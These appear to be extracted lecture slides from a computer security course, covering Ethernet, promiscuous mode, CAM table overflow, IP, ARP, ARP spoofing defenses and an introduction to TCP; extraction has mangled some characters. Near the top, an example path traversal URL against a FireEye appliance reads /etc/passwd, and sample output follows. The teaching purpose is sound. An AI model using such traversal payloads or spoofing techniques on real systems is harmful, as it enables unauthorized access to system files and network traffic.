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Logis;cs	  

•  Problems	  registering	  in	  class	  s;ll?	  
•  T.A.	  Office	  Hours	  Friday	  2pm-‐3pm	  (Gates	  413)	  
•  Supplementary	  lecture	  Thursday	  6pm	  



Lost	  Readings	  
•  Cowan	  et	  al	  	  StackGuard:	  Automa7c	  
Adap7ve	  Detec7on	  and	  Preven7on	  of	  
Buffer-‐Overflow	  ABacks	  

•  Shacham	  et	  al	  On	  the	  Effec7veness	  of	  
Address-‐Space	  Randomiza7on	  

•  Hovav	  Shacham 	  The	  Geometry	  of	  Innocent	  
Flesh	  on	  the	  Bone	  



Addi;onal	  Reading	  

•  Jeff	  King	  ARP	  Poisoning	  ABack	  and	  Mi7ga7on	  
Techniques	  
– hUp://www.cisco.com/en/US/prod/collateral/
switches/ps5718/ps708/
white_paper_c11_603839.html	  







hUps://fireeyeapp/script/
NEI_ModuleDispatch.php?
module=NEI_AdvancedConfig&func;on=HapiGet
FileContents&name=../../../../../../../../../../../etc/
passwd&extension=&category=opera;ng
%20system
%20logs&mode=download&;me=...&mytoken=...	  

root:aaaaa:16209:0:99999:7:::	  
bin:*:15628:0:99999:7:::	  
daemon:*:15628:0:99999:7:::	  
adm:*:15628:0:99999:7:::	  
lp:*:15628:0:99999:7:::	  
sync:*:15628:0:99999:7:::	  
shutdown:*:15628:0:99999:7:::	  







Goals	  for	  Today	  

•  Ethernet	  
•  Start	  TCP/IP	  
•  Rela;onship	  between	  them	  (ARP)	  



Ethernet	  Basics	  

•  Ethernet	  is	  a	  physical	  layer	  protocol/technology	  
– One	  of	  many	  compe;ng	  physical	  layers	  
– Most	  popular,	  but	  others	  s;ll	  important	  

•  Eg	  for	  long-‐haul	  cables	  

•  For	  delivering	  packets	  of	  data	  
–  Called	  “frames”	  in	  ethernet	  lingo	  
–  From	  one	  machine	  to	  another	  

•  Originally	  a	  LAN	  technology	  
– Now	  some;mes	  used	  for	  sizeable	  networks	  



Ethernet	  Now	  



Ethernet	  address	  



Broadcast	  

•  Originally	  broadcast	  –	  all	  computers	  hooked	  
to	  the	  same	  wire	  

•  Each	  interface	  listens	  to	  all	  traffic	  
– Only	  pays	  aUen;ons	  to	  packets	  with	  its	  address	  
– Except	  for…	  



Promiscuous	  Mode	  

•  Possible	  to	  put	  interface/OS	  into	  special	  mode	  
•  Where	  it	  looks	  at	  every	  packet,	  whether	  or	  
not	  it’s	  addressed.	  	  	  

•  This	  is	  the	  basis	  of	  network	  monitoring.	  
•  Let’s	  do	  it:	  
– sudo	  tcpdump	  -‐i	  en0	  -‐c	  5	  –e	  
– sudo	  tcpdump	  -‐i	  en0	  -‐c	  5	  –e	  not	  ether	  host	  
14:10:9f:e3:7d:a3	  



Ethernet	  Frame	  

1500	  is	  typical	  MTU	  for	  ethernet	  



Ethernet	  Type	  Codes	  

hUp://www.cavebear.com/archive/cavebear/Ethernet/type.html	  



Switched	  Ethernet	  

Source:	  hUp://engweb.info/courses/various/gnotes/ethernet_overview.html	  



CAM	  Table	  

1 2 3 4 5 6 7 8

A	   B	  

A:	  A-‐>B	  

S:	  Ah,	  A	  is	  on	  1	  

S:	  Broadcast	  A-‐>B	  pkt	  

B:	  B-‐>A	  

S:	  Ah,	  B	  is	  on	  5	  

Switch	  has	  no	  more	  need	  	  
to	  broadcast	  about	  A	  or	  B	  



CAM	  Table	  Overflow	  

•  If	  the	  switch	  sees	  too	  many	  MAC	  addresses	  
– CAM	  table	  fills	  up	  
– Then	  just	  broadcasts	  everything	  
– Makes	  it	  easier	  to	  sniff	  everyone’s	  traffic	  

•  Can	  be	  mi;gated	  with	  port	  security	  
– Switch	  rules	  about	  what	  Macs	  on	  what	  port	  
– Or	  how	  many	  Macs	  per	  port	  



IP:	  Internet	  Protocol	  

•  Core	  part	  of	  TCP/IP	  suite	  of	  protocols	  
•  Defined	  by	  IETF	  (Internet	  Engineering	  Task	  
Force)	  

•  Protocol	  for	  global	  exchange	  of	  packets	  
•  Across	  many	  physical	  networks	  



Core	  IP	  Concept	  

Physical	  
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H1	  

H2	  

Physical	  
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Physical	  
Network	  

Physical	  
Network	  

R	  

R	  
R	  



IP	  Address	  (v4)	  

•  Four	  bytes	  
•  WriUen	  192.168.254.6	  
– “doUed	  decimal”	  

•  Ifconfig	  –a	  
•  Originally	  a	  global	  sta;c	  iden;fier	  
– Encoded	  loca;on	  on	  Internet	  
– Has	  become	  much	  more	  complex	  

•  Example	  in	  wireshark	  



IP	  Header	  

hUp://cs.uccs.edu/~cs522/msgformat/format.htm	  



Ethernet	  IP	  Nes;ng	  

Ether	  
Src	  

Ether	  
Dst	   T	  

0x0800	  

IP	  Header	   IP	  Data	  

IP	  Data	  

IP	  Data	  



Address	  Resolu;on:	  The	  Problem	  

Physical	  Network	  

H1	  

R	  

Ether	  R	   IP	  H1	   Data…	  



Address	  Resolu;on	  Protocol	  

•  Part	  of	  Internet	  protocol	  suite	  
– RFC	  826	  (1982).	  

•  Wrapped	  inside	  an	  ethernet	  packet	  
– or	  other	  hardware	  layer	  
– Ethertype	  0x0806	  

•  Basically	  asks	  where	  a	  given	  IP	  packet	  should	  
go	  
– As	  a	  physical	  layer	  (eg	  ethernet)	  address	  

•  Runs	  on	  a	  single	  physical	  network	  
– Never	  transmiUed	  across	  routers	  



ARP	  Packet	  Format	  

Ethernet	  =	  0x0001	  

IP	  =	  0x0800	  

1	  =	  request,	  2	  =	  reply	  



Opera;on	  of	  ARP	  request	  

•  Given	  an	  IP,	  	  
– Look	  up	  in	  local	  arp	  table	  
– “arp	  –a	  –n	  |less”	  to	  see	  table	  

•  If	  not	  in	  table,	  send	  a	  broadcast	  
–  to	  ethernet	  ff:ff:ff:ff:ff:ff	  
– Asking	  for	  that	  des;na;on	  IP	  address	  

•  Also	  includes	  our	  ethernet	  and	  ip	  address	  

	  



ARP	  response	  

•  Recipient	  
– Reverses	  src/dest	  fields	  
– Fills	  out	  its	  correct	  MAC	  address	  
– Changes	  opcode	  to	  2	  
– Sends	  out	  in	  an	  ethernet	  packet	  directly	  to	  
requester	  (not	  broadcast)	  

•  Now	  communica;on	  can	  be	  established	  from	  
requester	  to	  responder	  	  



ARP	  Spoofing	  

•  Everyone	  that	  sees	  an	  arp	  broadcast	  request	  
– Will	  associate	  the	  sender	  MAC/IP	  in	  their	  table	  
– Good	  for	  low	  maintenance	  handling	  of	  change	  
– Bad	  for	  security	  

•  As	  a	  dark-‐arts	  prac;;oner	  
–  I	  can	  broadcast	  a	  request,	  	  

•  pretending	  to	  be	  someone	  else	  
– Everyone	  will	  then	  think	  I’m	  them	  
– Now	  I	  get	  all	  their	  traffic	  and	  can	  do	  evil	  



Recall	  

Bartemius	  Crouch	  Jr	  impersona;ng	  Alastor	  Moody	  



Defenses	  Against	  ARP	  Spoofing	  

•  Sta;c	  ARP	  entries	  
– Works	  but	  inconvenient	  –	  doesn’t	  scale	  

•  Force	  ARP	  to	  conform	  to	  DHCP	  
–  Cisco	  Dynamic	  ARP	  Inspec;on	  (DAI)	  
– Doesn’t	  help	  with	  sta;c	  IPs	  

•  Have	  to	  be	  individually	  configured	  

•  Monitoring	  tools	  
– Arpwatch	  (hUp://ee.lbl.gov/)	  
– Alerts	  when	  ip	  addresses	  shiv	  to	  a	  new	  ether	  address	  



Intro	  to	  TCP	  

•  Transmission	  Control	  Protocol	  
•  RFC	  793	  (1981)	  
•  Provides	  for	  delivery	  of	  stream	  of	  data	  
– Reliably	  
–  In	  order	  
– Bi-‐direc;onally	  
– Between	  client	  and	  server	  applica7ons	  

•  Not	  just	  hosts	  like	  IP	  

	  



Protocol	  Rela;onship	  

•  TCP	  is	  known	  as	  a	  transport	  layer	  protocol	  
•  Goes	  over	  the	  network	  layer	  protocol	  (IP)	  
– To	  provide	  addi;onal	  services	  (reliability,	  etc)	  

•  Which	  goes	  over	  physical	  layer	  (ethernet)	  
•  TCP	  segments	  are	  nested	  inside	  ip	  packets	  
•  Nested	  inside	  ethernet	  frames	  



Ethernet/IP/TCP	  Nes;ng	  

Ether	  Header	   IP	  Header	   TCP	  Header	  

TCP	  Data	  

TCP	  Data	  

TCP	  Data	  



TCP	  Header	  Format	  


